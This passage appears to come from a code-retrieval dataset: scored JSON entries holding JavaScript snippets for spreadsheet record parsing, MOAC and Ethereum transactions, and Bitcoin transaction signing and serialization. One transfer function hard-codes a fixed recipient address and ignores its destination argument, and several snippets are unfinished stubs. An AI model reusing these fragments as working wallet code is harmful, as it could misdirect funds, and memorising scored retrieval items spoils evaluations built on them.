catch(e) { blob.l = s + length; return { t: texts||\"\" }; }\n}", "title": "" }, { "docid": "969c0d4e426bb537f210073d142a0a92", "score": "0.49452123", "text": "function callContractMethod(src, contractAddress, gasValue, inchainID, inByteCode){\n\n var txcount = chain3.mc.getTransactionCount(src[\"addr\"]);\n console.log(\"Get tx account\", txcount)\n //Build the raw tx obj\n //note the transaction\n var rawTx = {\n from: src.addr,\n to: contractAddress, \n nonce: chain3.intToHex(txcount),\n gasPrice: chain3.intToHex(400000000),//tum3.intToHex(tum3.mc.gasPrice),//tum3.intToHex(400000000),\n gasLimit: chain3.intToHex(gasValue),\n value: '0x', \n data: inByteCode,\n chainId: inchainID,\n shardingFlag: 0 //default is global contract\n }\n\n console.log(rawTx);\n\nvar cmd1 = chain3.signTransaction(rawTx, src[\"key\"]); \n\nconsole.log(\"\\nSend signed TX:\\n\", cmd1);\n\n chain3.mc.sendRawTransaction(cmd1, function(err, hash) {\n if (!err){\n \n console.log(\"Succeed!: \", hash);\n return hash;\n }else{\n console.log(\"Chain3 error:\", err.message);\n // response.success = false;\n // response.error = err.message;\n return err.message;\n }\n \n // console.log(response);\n console.log(\"Get response from MOAC node in the feedback function!\")\n // res.send(response);\n });\n\n}", "title": "" }, { "docid": "200bc3b7b17959f3d225f3ddc52b9cb4", "score": "0.493404", "text": "from(entry){\n let curIndex = 0;\n let buff = Buffer.from(entry, 'hex');\n //Get previous transaction ID\n this.txId = le2be(buff.slice(curIndex, curIndex + TXID_SIZE).toString('hex'));\n curIndex += TXID_SIZE;\n //get output index\n this.outIndex = parseInt(le2be(buff.slice(curIndex, curIndex + OUTPUT_INDEX_SIZE).toString('hex')), 16);//.toString('hex');\n curIndex += OUTPUT_INDEX_SIZE;\n //Get scriptSig\n let [viSize, viValue] = readVarIntField(buff.slice(curIndex));\n curIndex += viSize;\n let scriptSigSize = viValue;\n this.scriptSig = buff.slice(curIndex, curIndex + viValue).toString('hex');\n /* NEED TO REWORK THIS\n let [sigVarIntSize, signatureSize] = readVarIntField(buff.slice(curIndex));\n curIndex += sigVarIntSize;\n this.signature = buff.slice(curIndex, curIndex + signatureSize).toString('hex');\n curIndex += signatureSize;\n let [pubVarIntSize, pubKeySize] = readVarIntField(buff.slice(curIndex));\n curIndex += pubVarIntSize;\n this.pubKey = buff.slice(curIndex, curIndex + pubKeySize).toString('hex');\n curIndex += pubKeySize;\n */\n curIndex += viValue;\n this.sequence = buff.slice(curIndex, curIndex + SEQ_SIZE).toString('hex');\n curIndex += SEQ_SIZE;\n console.log('SEQUENCE: ', this.sequence);\n this.size = curIndex;\n }", "title": "" }, { "docid": "96faa2ed2d8480b823609c4452530e1f", "score": "0.49156842", "text": "_computeBlockHeaderPrefix( requestHeader = false ){\n\n if (this.height < consts.BLOCKCHAIN.HARD_FORKS.TRANSACTIONS_INCLUDING_ONLY_HEADER && requestHeader )\n requestHeader = false;\n\n return Buffer.concat ( [\n\n Serialization.serializeNumber2Bytes( this.version ),\n Serialization.serializeToFixedBuffer( consts.BLOCKCHAIN.BLOCKS_POW_LENGTH , this.hashPrev ),\n Serialization.serializeNumber4Bytes( this.timeStamp ),\n (this.height > consts.BLOCKCHAIN.HARD_FORKS.POS_ACTIVATION) ? Serialization.serializeToFixedBuffer( consts.BLOCKCHAIN.BLOCKS_POW_LENGTH , this.hashChainPrev ) : Buffer.alloc(0),\n //data contains addressMiner, transactions history, contracts, etc\n this.data.serializeData(requestHeader),\n\n ]);\n }", "title": "" }, { "docid": "f44297eece077b69b7b93180f467a4ce", "score": "0.49098903", "text": "function sendTx(src, des, chainid, value){\n\nvar txcount = chain3.mc.getTransactionCount(src[\"addr\"]);\n\nconsole.log(\"TX count:\", txcount);\n\n var rawTx = {\n from: src.addr,\n nonce: chain3.intToHex(txcount),\n // 1 gwei\n gasPrice: chain3.intToHex(2000000000),//chain3.intToHex(chain3.mc.gasPrice),//chain3.intToHex(400000000),\n gasLimit: chain3.intToHex(5000000),\n to: '0xf1f5b7a35dff6400af7ab3ea54e4e637059ef909',//des.addr, \n value: chain3.intToHex(chain3.toSha(value, 'mc')), \n data: '0x00',\n chainId: chainid\n }\n\n var cmd1 = chain3.signTransaction(rawTx, src[\"key\"]);\n\n chain3.mc.sendRawTransaction(cmd1, function(err, hash) {\n if (!err){\n console.log(\"Succeed!: \", hash);\n return hash;\n }else{\n console.log(\"Chain3 error:\", err.message);\n return err.message;\n }\n \n console.log(\"Get response from MOAC node in the feedback function!\")\n // res.send(response);\n });\n\n}", "title": "" }, { "docid": "a31b9b12694bb445b79256e9eac32a06", "score": "0.49091372", "text": "function Transaction () {\n this.Inputs = []\n this.Outputs = []\n this.ECOutputs = []\n this.RCDs = []\n this.Signatures = []\n this.MillitimeStamp = (new Date()).getTime()\n}", "title": "" }, { "docid": "175346a39b1fe8024cf1a0bb1e2bd106", "score": "0.4896455", "text": "function TXS() {\n\t\t\t\t\tSP = X;\n\t\t\t\t}", "title": "" }, { "docid": "72241322c336f2fdac54fe0b3f4afd55", "score": "0.48954493", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\n\tvar texts = \"\";\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo;\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\tvar cbRuns = blob.read_shift(2);\n\tvar ifntEmpty = parse_FontIndex(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw new Error(\"TxO: bad continue record\");\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow new Error(\"cchText: \" + cchText + \" != \" + texts.length);\n\t}\n\n\tblob.l = s + length;\n\t/* 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw new Error(\"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText);\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw new Error(\"TxO \" + (s + length) + \", at \" + blob.l);\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts }; }\n}", "title": "" }, { "docid": "d262db980bd636322525991bd4f769fb", "score": "0.48763204", "text": "function subscribeEthTransactions() {\n let subscription = web3.eth.subscribe('newBlockHeaders', function (error, result) {\n if (!error) {\n //console.log(result);\n }\n })\n .on(\"data\", function (blockData) {\n if(blockData && blockData.number)\n {\n Observable.defer(() => {\n console.log(`Calling getBlock ${blockData.number}`);\n return blockData.number;\n })\n .delay(10000)\n .takeWhile((blockNumber) => {\n //check if position updated\n web3.eth.getBlock(blockNumber, true).then(block => {\n if (block != null ) {\n if(block.transactions && block.transactions.length > 0) {\n console.log(`Block ${block.number} txs ${block.transactions.length}`);\n block.transactions.forEach(function (e) {\n if (address == \"*\" || address == e.from || address == e.to) {\n console.log(\" tx hash : \" + e.hash + \"\\n\"\n + \" nonce : \" + e.nonce + \"\\n\"\n + \" blockHash : \" + e.blockHash + \"\\n\"\n + \" blockNumber : \" + e.blockNumber + \"\\n\"\n + \" transactionIndex: \" + e.transactionIndex + \"\\n\"\n + \" from : \" + e.from + \"\\n\"\n + \" to : \" + e.to + \"\\n\"\n + \" value : \" + e.value + \"\\n\"\n + \" gasPrice : \" + e.gasPrice + \"\\n\"\n + \" gas : \" + e.gas + \"\\n\"\n + \" input : \" + e.input);\n }\n });\n }\n return false;\n }\n else\n {\n return true;\n }\n });\n }).subscribe(\n result => {\n console.log(`Fetching result ${result}`);\n }, error => {\n }, async () => {\n //completed\n }\n );\n }\n })\n .on(\"changed\", function (log) {\n console.log(log);\n });\n}", "title": "" }, { "docid": "6be2acbc45e1fc4712ffdd0457a08e5d", "score": "0.48637572", "text": "function flush_tx() {\n //TODO\n\n }", "title": "" }, { "docid": "35c5419f4c6a4cb9d5601634baebabec", "score": "0.48631445", "text": "transaction() {\n\n\t\tlet r = {};\n\t\tr.version = 1;\n\t\tr.lock_time = 0;\n\t\tr.ins = [];\n\t\tr.outs = [];\n\t\tr.witness = false;\n\t\tr.timestamp = null;\n\t\tr.block = null;\n\n\t\tconst parent = this;\n\n\t\t/* add an input to a transaction */\n\t\tr.addinput = function(txid, index, script, sequence){\n\t\t\tlet o = {};\n\t\t\to.outpoint = {'hash':txid, 'index':index};\n\t\t\to.script = parent.script(script||[]);\n\t\t\to.sequence = sequence || ((r.lock_time==0) ? 4294967295 : 0);\n\t\t\treturn this.ins.push(o);\n\t\t}\n\n\t\t/* add an output to a transaction */\n\t\tr.addoutput = function(address, value){\n\t\t\tlet o = {};\n\t\t\to.value = new BigInteger('' + Math.round((value*1) * 1e8), 10);\n\t\t\tlet s = parent.script();\n\t\t\to.script = s.spendToScript(address);\n\n\t\t\treturn this.outs.push(o);\n\t\t}\n\n\t\t/* add data to a transaction */\n\t\tr.adddata = function(data){\n\t\t\tlet r = false;\n\t\t\tif(((data.match(/^[a-f0-9]+$/gi)) && data.length<160) && (data.length%2)==0) {\n\t\t\t\tlet s = parent.script();\n\t\t\t\ts.writeOp(106); // OP_RETURN\n\t\t\t\ts.writeBytes(Crypto.util.hexToBytes(data));\n\t\t\t\to = {};\n\t\t\t\to.value = 0;\n\t\t\t\to.script = s;\n\t\t\t\treturn this.outs.push(o);\n\t\t\t}\n\t\t\treturn r;\n\t\t}\n\n\t\t/* generate the transaction hash to sign from a transaction input */\n\t\tr.transactionHash = function(index, sigHashType) {\n\n\t\t\tlet clone = parent.clone(this);\n\t\t\tlet shType = sigHashType || 1;\n\n\t\t\t/* black out all other ins, except this one */\n\t\t\tfor (let i = 0; i < clone.ins.length; i++) {\n\t\t\t\tif(index!=i){\n\t\t\t\t\tclone.ins[i].script = parent.script();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tlet extract = this.extractScriptKey(index);\n\t\t\tclone.ins[index].script = parent.script(extract['script']);\n\n\t\t\tif((clone.ins) && clone.ins[index]){\n\n\t\t\t\t/* SIGHASH : For more info on sig hashs see https://en.bitcoin.it/wiki/OP_CHECKSIG\n\t\t\t\t\tand https://bitcoin.org/en/developer-guide#signature-hash-type */\n\n\t\t\t\tif(shType == 1){\n\t\t\t\t\t//SIGHASH_ALL 0x01\n\n\t\t\t\t} else if(shType == 2){\n\t\t\t\t\t//SIGHASH_NONE 0x02\n\t\t\t\t\tclone.outs = [];\n\t\t\t\t\tfor (let i = 0; i < clone.ins.length; i++) {\n\t\t\t\t\t\tif(index!=i){\n\t\t\t\t\t\t\tclone.ins[i].sequence = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t} else if(shType == 3){\n\n\t\t\t\t\t//SIGHASH_SINGLE 0x03\n\t\t\t\t\tclone.outs.length = index + 1;\n\n\t\t\t\t\tfor(let i = 0; i < index; i++){\n\t\t\t\t\t\tclone.outs[i].value = -1;\n\t\t\t\t\t\tclone.outs[i].script.buffer = [];\n\t\t\t\t\t}\n\n\t\t\t\t\tfor (let i = 0; i < clone.ins.length; i++) {\n\t\t\t\t\t\tif(index!=i){\n\t\t\t\t\t\t\tclone.ins[i].sequence = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t} else if (shType >= 128){\n\t\t\t\t\t//SIGHASH_ANYONECANPAY 0x80\n\t\t\t\t\tclone.ins = [clone.ins[index]];\n\n\t\t\t\t\tif(shType==129){\n\t\t\t\t\t\t// SIGHASH_ALL + SIGHASH_ANYONECANPAY\n\n\t\t\t\t\t} else if(shType==130){\n\t\t\t\t\t\t// SIGHASH_NONE + SIGHASH_ANYONECANPAY\n\t\t\t\t\t\tclone.outs = [];\n\n\t\t\t\t\t} else if(shType==131){\n // SIGHASH_SINGLE + SIGHASH_ANYONECANPAY\n\t\t\t\t\t\tclone.outs.length = index + 1;\n\t\t\t\t\t\tfor(let i = 0; i < index; i++){\n\t\t\t\t\t\t\tclone.outs[i].value = -1;\n\t\t\t\t\t\t\tclone.outs[i].script.buffer = [];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tlet buffer = Crypto.util.hexToBytes(clone.serialize());\n\t\t\t\tbuffer = buffer.concat(parent.numToBytes(parseInt(shType), 4));\n\t\t\t\tlet hash = Crypto.SHA256(buffer, {asBytes: true});\n\t\t\t\tlet r = Crypto.util.bytesToHex(Crypto.SHA256(hash, {asBytes: true}));\n\t\t\t\treturn r;\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\t/* extract the scriptSig, used in the transactionHash() function */\n\t\tr.extractScriptKey = function(index) {\n\t\t\tif(this.ins[index]){\n\t\t\t\tif((this.ins[index].script.chunks.length==5) && this.ins[index].script.chunks[4]==172 && Array.isArray(this.ins[index].script.chunks[2])){ //OP_CHECKSIG\n\t\t\t\t\t// regular scriptPubkey (not signed)\n\t\t\t\t\treturn {'type':'scriptpubkey', 'signed':'false', 'signatures':0, 'script': Crypto.util.bytesToHex(this.ins[index].script.buffer)};\n\t\t\t\t} else if((this.ins[index].script.chunks.length==2) && this.ins[index].script.chunks[0][0]==48 && this.ins[index].script.chunks[1].length == 5 && this.ins[index].script.chunks[1][1]==177){//OP_CHECKLOCKTIMEVERIFY\n\t\t\t\t\t// hodl script (signed)\n\t\t\t\t\treturn {'type':'hodl', 'signed':'true', 'signatures':1, 'script': Crypto.util.bytesToHex(this.ins[index].script.buffer)};\n\t\t\t\t} else if((this.ins[index].script.chunks.length==2) && this.ins[index].script.chunks[0][0]==48){ \n\t\t\t\t\t// regular scriptPubkey (probably signed)\n\t\t\t\t\treturn {'type':'scriptpubkey', 'signed':'true', 'signatures':1, 'script': Crypto.util.bytesToHex(this.ins[index].script.buffer)};\n\t\t\t\t} else if(this.ins[index].script.chunks.length == 5 && this.ins[index].script.chunks[1] == 177){//OP_CHECKLOCKTIMEVERIFY\n\t\t\t\t\t// hodl script (not signed)\n\t\t\t\t\treturn {'type':'hodl', 'signed':'false', 'signatures': 0, 'script': Crypto.util.bytesToHex(this.ins[index].script.buffer)};\n\t\t\t\t} else if((this.ins[index].script.chunks.length <= 3 && this.ins[index].script.chunks.length > 0) && ((this.ins[index].script.chunks[0].length == 22 && this.ins[index].script.chunks[0][0] == 0) || (this.ins[index].script.chunks[0].length == 20 && this.ins[index].script.chunks[1] == 0))){\n\t\t\t\t\tlet signed = ((this.witness[index]) && this.witness[index].length==2) ? 'true' : 'false';\n\t\t\t\t\tlet sigs = (signed == 'true') ? 1 : 0;\n\t\t\t\t\tlet value = -1; // no value found\n\t\t\t\t\tif((this.ins[index].script.chunks[2]) && this.ins[index].script.chunks[2].length==8){\n\t\t\t\t\t\tvalue = parent.bytesToNum(this.ins[index].script.chunks[2]); // value found encoded in transaction (THIS IS NON STANDARD)\n\t\t\t\t\t}\n\t\t\t\t\treturn {'type':'segwit', 'signed':signed, 'signatures': sigs, 'script': Crypto.util.bytesToHex(this.ins[index].script.chunks[0]), 'value': value};\n\t\t\t\t} else if (this.ins[index].script.chunks[0]==0 && this.ins[index].script.chunks[this.ins[index].script.chunks.length-1][this.ins[index].script.chunks[this.ins[index].script.chunks.length-1].length-1]==174) { // OP_CHECKMULTISIG\n\t\t\t\t\t// multisig script, with signature(s) included\n\t\t\t\t\tsigcount = 0;\n\t\t\t\t\tfor(i=1; i<this.ins[index].script.chunks.length-1;i++){\n\t\t\t\t\t\tif(this.ins[index].script.chunks[i]!=0){\n\t\t\t\t\t\t\tsigcount++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn {'type':'multisig', 'signed':'true', 'signatures':sigcount, 'script': Crypto.util.bytesToHex(this.ins[index].script.chunks[this.ins[index].script.chunks.length-1])};\n\t\t\t\t} else if (this.ins[index].script.chunks[0]>=80 && this.ins[index].script.chunks[this.ins[index].script.chunks.length-1]==174) { // OP_CHECKMULTISIG\n\t\t\t\t\t// multisig script, without signature!\n\t\t\t\t\treturn {'type':'multisig', 'signed':'false', 'signatures':0, 'script': Crypto.util.bytesToHex(this.ins[index].script.buffer)};\n\t\t\t\t} else if (this.ins[index].script.chunks.length==0) {\n\t\t\t\t\t// empty\n\t\t\t\t\treturn {'type':'empty', 'signed':'false', 'signatures':0, 'script': ''};\n\t\t\t\t} else {\n\t\t\t\t\t// something else\n\t\t\t\t\treturn {'type':'unknown', 'signed':'false', 'signatures':0, 'script':Crypto.util.bytesToHex(this.ins[index].script.buffer)};\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\t/* generate a signature from a transaction hash */\n\t\tr.transactionSig = function(index, wif, sigHashType, txhash){\n\n\t\t\tfunction serializeSig(r, s) {\n\t\t\t\tlet rBa = r.toByteArraySigned();\n\t\t\t\tlet sBa = s.toByteArraySigned();\n\n\t\t\t\tlet sequence = [];\n\t\t\t\tsequence.push(0x02); // INTEGER\n\t\t\t\tsequence.push(rBa.length);\n\t\t\t\tsequence = sequence.concat(rBa);\n\n\t\t\t\tsequence.push(0x02); // INTEGER\n\t\t\t\tsequence.push(sBa.length);\n\t\t\t\tsequence = sequence.concat(sBa);\n\n\t\t\t\tsequence.unshift(sequence.length);\n\t\t\t\tsequence.unshift(0x30); // SEQUENCE\n\n\t\t\t\treturn sequence;\n\t\t\t}\n\n\t\t\tlet shType = sigHashType || 1;\n\t\t\tlet hash = txhash || Crypto.util.hexToBytes(this.transactionHash(index, shType));\n\n\t\t\tif(hash){\n\n\t\t\t\tlet curve = EllipticCurve.getSECCurveByName(\"secp256k1\");\n\t\t\t\tlet key = parent.wif2privkey(wif);\n\t\t\t\tlet priv = BigInteger.fromByteArrayUnsigned(Crypto.util.hexToBytes(key['privkey']));\n\t\t\t\tlet n = curve.getN();\n\t\t\t\tlet e = BigInteger.fromByteArrayUnsigned(hash);\n\t\t\t\tlet badrs = 0\n\t\t\t\tlet r, s;\n\t\t\t\tdo {\n\t\t\t\t\tlet k = this.deterministicK(wif, hash, badrs);\n\t\t\t\t\tlet G = curve.getG();\n\t\t\t\t\tlet Q = G.multiply(k);\n\t\t\t\t\tr = Q.getX().toBigInteger().mod(n);\n\t\t\t\t\ts = k.modInverse(n).multiply(e.add(priv.multiply(r))).mod(n);\n\t\t\t\t\tbadrs++\n\t\t\t\t} while (r.compareTo(BigInteger.ZERO) <= 0 || s.compareTo(BigInteger.ZERO) <= 0);\n\n\t\t\t\t// Force lower s values per BIP62\n\t\t\t\tlet halfn = n.shiftRight(1);\n\t\t\t\tif (s.compareTo(halfn) > 0) {\n\t\t\t\t\ts = n.subtract(s);\n\t\t\t\t};\n\n\t\t\t\tlet sig = serializeSig(r, s);\n\t\t\t\tsig.push(parseInt(shType, 10));\n\n\t\t\t\treturn Crypto.util.bytesToHex(sig);\n\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\t// https://tools.ietf.org/html/rfc6979#section-3.2\n\t\tr.deterministicK = function(wif, hash, badrs) {\n\t\t\t// if r or s were invalid when this function was used in signing,\n\t\t\t// we do not want to actually compute r, s here for efficiency, so,\n\t\t\t// we can increment badrs. explained at end of RFC 6979 section 3.2\n\n\t\t\t// wif is b58check encoded wif privkey.\n\t\t\t// hash is byte array of transaction digest.\n\t\t\t// badrs is used only if the k resulted in bad r or s.\n\n\t\t\t// some necessary things out of the way for clarity.\n\t\t\tbadrs = badrs || 0;\n\t\t\tlet key = parent.wif2privkey(wif);\n\t\t\tlet x = Crypto.util.hexToBytes(key['privkey'])\n\t\t\tlet curve = EllipticCurve.getSECCurveByName(\"secp256k1\");\n\t\t\tlet N = curve.getN();\n\n\t\t\t// Step: a\n\t\t\t// hash is a byteArray of the message digest. so h1 == hash in our case\n\n\t\t\t// Step: b\n\t\t\tlet v = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];\n\n\t\t\t// Step: c\n\t\t\tlet k = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\n\n\t\t\t// Step: d\n\t\t\tk = Crypto.HMAC(Crypto.SHA256, v.concat([0]).concat(x).concat(hash), k, { asBytes: true });\n\n\t\t\t// Step: e\n\t\t\tv = Crypto.HMAC(Crypto.SHA256, v, k, { asBytes: true });\n\n\t\t\t// Step: f\n\t\t\tk = Crypto.HMAC(Crypto.SHA256, v.concat([1]).concat(x).concat(hash), k, { asBytes: true });\n\n\t\t\t// Step: g\n\t\t\tv = Crypto.HMAC(Crypto.SHA256, v, k, { asBytes: true });\n\n\t\t\t// Step: h1\n\t\t\tlet T = [];\n\n\t\t\t// Step: h2 (since we know tlen = qlen, just copy v to T.)\n\t\t\tv = Crypto.HMAC(Crypto.SHA256, v, k, { asBytes: true });\n\t\t\tT = v;\n\n\t\t\t// Step: h3\n\t\t\tlet KBigInt = BigInteger.fromByteArrayUnsigned(T);\n\n\t\t\t// loop if KBigInt is not in the range of [1, N-1] or if badrs needs incrementing.\n\t\t\tlet i = 0\n\t\t\twhile (KBigInt.compareTo(N) >= 0 || KBigInt.compareTo(BigInteger.ZERO) <= 0 || i < badrs) {\n\t\t\t\tk = Crypto.HMAC(Crypto.SHA256, v.concat([0]), k, { asBytes: true });\n\t\t\t\tv = Crypto.HMAC(Crypto.SHA256, v, k, { asBytes: true });\n\t\t\t\tv = Crypto.HMAC(Crypto.SHA256, v, k, { asBytes: true });\n\t\t\t\tT = v;\n\t\t\t\tKBigInt = BigInteger.fromByteArrayUnsigned(T);\n\t\t\t\ti++\n\t\t\t};\n\n\t\t\treturn KBigInt;\n\t\t};\n\n\t\t/* sign a \"standard\" input */\n\t\tr.signinput = function(index, wif, sigHashType){\n\t\t\tlet key = parent.wif2pubkey(wif);\n\t\t\tlet shType = sigHashType || 1;\n\t\t\tlet signature = this.transactionSig(index, wif, shType);\n\t\t\tlet s = parent.script();\n\t\t\ts.writeBytes(Crypto.util.hexToBytes(signature));\n\t\t\ts.writeBytes(Crypto.util.hexToBytes(key['pubkey']));\n\t\t\tthis.ins[index].script = s;\n\t\t\treturn true;\n\t\t}\n\n\t\t/* signs a time locked / hodl input */\n\t\tr.signhodl = function(index, wif, sigHashType){\n\t\t\tlet shType = sigHashType || 1;\n\t\t\tlet signature = this.transactionSig(index, wif, shType);\n\t\t\tlet redeemScript = this.ins[index].script.buffer\n\t\t\tlet s = parent.script();\n\t\t\ts.writeBytes(Crypto.util.hexToBytes(signature));\n\t\t\ts.writeBytes(redeemScript);\n\t\t\tthis.ins[index].script = s;\n\t\t\treturn true;\n\t\t}\n\t\t/* sign inputs */\n\t\tr.sign = function(wif, sigHashType){\n\t\t\tlet shType = sigHashType || 1;\n\t\t\tfor (let i = 0; i < this.ins.length; i++) {\n\t\t\t\tlet d = this.extractScriptKey(i);\n\n\t\t\t\tlet w2a = parent.wif2address(wif);\n\t\t\t\tlet script = parent.script();\n\t\t\t\tlet pubkeyHash = script.pubkeyHash(w2a['address']);\n\n\t\t\t\tif(((d['type'] == 'scriptpubkey' && d['script']==Crypto.util.bytesToHex(pubkeyHash.buffer)) || d['type'] == 'empty') && d['signed'] == \"false\"){\n\t\t\t\t\tthis.signinput(i, wif, shType);\n\n\t\t\t\t} else if (d['type'] == 'hodl' && d['signed'] == \"false\") {\n\t\t\t\t\tthis.signhodl(i, wif, shType);\n\n\t\t\t\t} else if (d['type'] == 'multisig') {\n\t\t\t\t\tthis.signmultisig(i, wif, shType);\n\n\t\t\t\t} else if (d['type'] == 'segwit') {\n\t\t\t\t\tthis.signsegwit(i, wif, shType);\n\n\t\t\t\t} else {\n\t\t\t\t\t// could not sign\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn this.serialize();\n\t\t}\n\n\t\t/* serialize a transaction */\n\t\tr.serialize = function(){\n\t\t\tlet buffer = [];\n\t\t\tbuffer = buffer.concat(parent.numToBytes(parseInt(this.version),4));\n\n\t\t\tif( Array.isArray(this.witness) ){\n\t\t\t\tbuffer = buffer.concat([0x00, 0x01]);\n\t\t\t}\n\n\t\t\tbuffer = buffer.concat(parent.numToVarInt(this.ins.length));\n\t\t\tfor (let i = 0; i < this.ins.length; i++) {\n\t\t\t\tlet txin = this.ins[i];\n\t\t\t\tbuffer = buffer.concat(Crypto.util.hexToBytes(txin.outpoint.hash).reverse());\n\t\t\t\tbuffer = buffer.concat(parent.numToBytes(parseInt(txin.outpoint.index),4));\n\t\t\t\tlet scriptBytes = txin.script.buffer;\n\t\t\t\tbuffer = buffer.concat(parent.numToVarInt(scriptBytes.length));\n\t\t\t\tbuffer = buffer.concat(scriptBytes);\n\t\t\t\tbuffer = buffer.concat(parent.numToBytes(parseInt(txin.sequence),4));\n\t\t\t}\n\t\t\tbuffer = buffer.concat(parent.numToVarInt(this.outs.length));\n\n\t\t\tfor (let i = 0; i < this.outs.length; i++) {\n\t\t\t\tlet txout = this.outs[i];\n \t\t\t\tbuffer = buffer.concat(parent.numToBytes(txout.value,8));\n\t\t\t\tlet scriptBytes = txout.script.buffer;\n\t\t\t\tbuffer = buffer.concat(parent.numToVarInt(scriptBytes.length));\n\t\t\t\tbuffer = buffer.concat(scriptBytes);\n\t\t\t}\n\n\t\t\tif(( Array.isArray(this.witness)) && this.witness.length>=1){\n\t\t\t\tfor(let i = 0; i < this.witness.length; i++){\n\t \t\t\t\tbuffer = buffer.concat(parent.numToVarInt(this.witness[i].length));\n\t\t\t\t\tfor(let x = 0; x < this.witness[i].length; x++){\n\t\t \t\t\t\tbuffer = buffer.concat(parent.numToVarInt(Crypto.util.hexToBytes(this.witness[i][x]).length));\n\t\t\t\t\t\tbuffer = buffer.concat(Crypto.util.hexToBytes(this.witness[i][x]));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbuffer = buffer.concat(parent.numToBytes(parseInt(this.lock_time),4));\n\t\t\treturn Crypto.util.bytesToHex(buffer);\n\t\t}\n\n\t\t/* deserialize a transaction */\n\t\tr.deserialize = function(buffer){\n\t\t\tif (typeof buffer == \"string\") {\n\t\t\t\tbuffer = Crypto.util.hexToBytes(buffer)\n\t\t\t}\n\n\t\t\tlet pos = 0;\n\t\t\tlet witness = false;\n\n\t\t\tlet readAsInt = function(bytes) {\n\t\t\t\tif (bytes == 0) return 0;\n\t\t\t\tpos++;\n\t\t\t\treturn buffer[pos-1] + readAsInt(bytes-1) * 256;\n\t\t\t}\n\n\t\t\tlet readVarInt = function() {\n\t\t\t\tpos++;\n\t\t\t\tif (buffer[pos-1] < 253) {\n\t\t\t\t\treturn buffer[pos-1];\n\t\t\t\t}\n\t\t\t\treturn readAsInt(buffer[pos-1] - 251);\n\t\t\t}\n\n\t\t\tlet readBytes = function(bytes) {\n\t\t\t\tpos += bytes;\n\t\t\t\treturn buffer.slice(pos - bytes, pos);\n\t\t\t}\n\n\t\t\tlet readVarString = function() {\n\t\t\t\tlet size = readVarInt();\n\t\t\t\treturn readBytes(size);\n\t\t\t}\n\n\t\t\tlet obj = parent.transaction();\n\t\t\tobj.version = readAsInt(4);\n\n\t\t\tif(buffer[pos] == 0x00 && buffer[pos+1] == 0x01){\n\t\t\t\t// segwit transaction\n\t\t\t\twitness = true;\n\t\t\t\tobj.witness = [];\n\t\t\t\tpos += 2;\n\t\t\t}\n\n\t\t\tlet ins = readVarInt();\n\t\t\tfor (let i = 0; i < ins; i++) {\n\t\t\t\tobj.ins.push({\n\t\t\t\t\toutpoint: {\n\t\t\t\t\t\thash: Crypto.util.bytesToHex(readBytes(32).reverse()),\n \t\t\t\t\t\tindex: readAsInt(4)\n\t\t\t\t\t},\n\t\t\t\t\tscript: parent.script(readVarString()),\n\t\t\t\t\tsequence: readAsInt(4)\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tlet outs = readVarInt();\n\t\t\tfor (let i = 0; i < outs; i++) {\n\t\t\t\tobj.outs.push({\n\t\t\t\t\tvalue: parent.bytesToNum(readBytes(8)),\n\t\t\t\t\tscript: parent.script(readVarString())\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tif(witness == true){\n\t\t\t\tfor (i = 0; i < ins; ++i) {\n\t\t\t\t\tlet count = readVarInt();\n\t\t\t\t\tlet vector = [];\n\t\t\t\t\tfor(let y = 0; y < count; y++){\n\t\t\t\t\t\tlet slice = readVarInt();\n\t\t\t\t\t\tpos += slice;\n\t\t\t\t\t\tif(!Array.isArray(obj.witness[i])){\n\t\t\t\t\t\t\tobj.witness[i] = [];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tobj.witness[i].push(Crypto.util.bytesToHex(buffer.slice(pos - slice, pos)));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n \t\t\tobj.lock_time = readAsInt(4);\n\t\t\treturn obj;\n\t\t}\n\n\t\tr.size = function(){\n\t\t\treturn ((this.serialize()).length/2).toFixed(0);\n\t\t}\n\n\t\treturn r;\n\t}", "title": "" }, { "docid": "1892e16030795d1529d4c84f21a98682", "score": "0.4841684", "text": "function 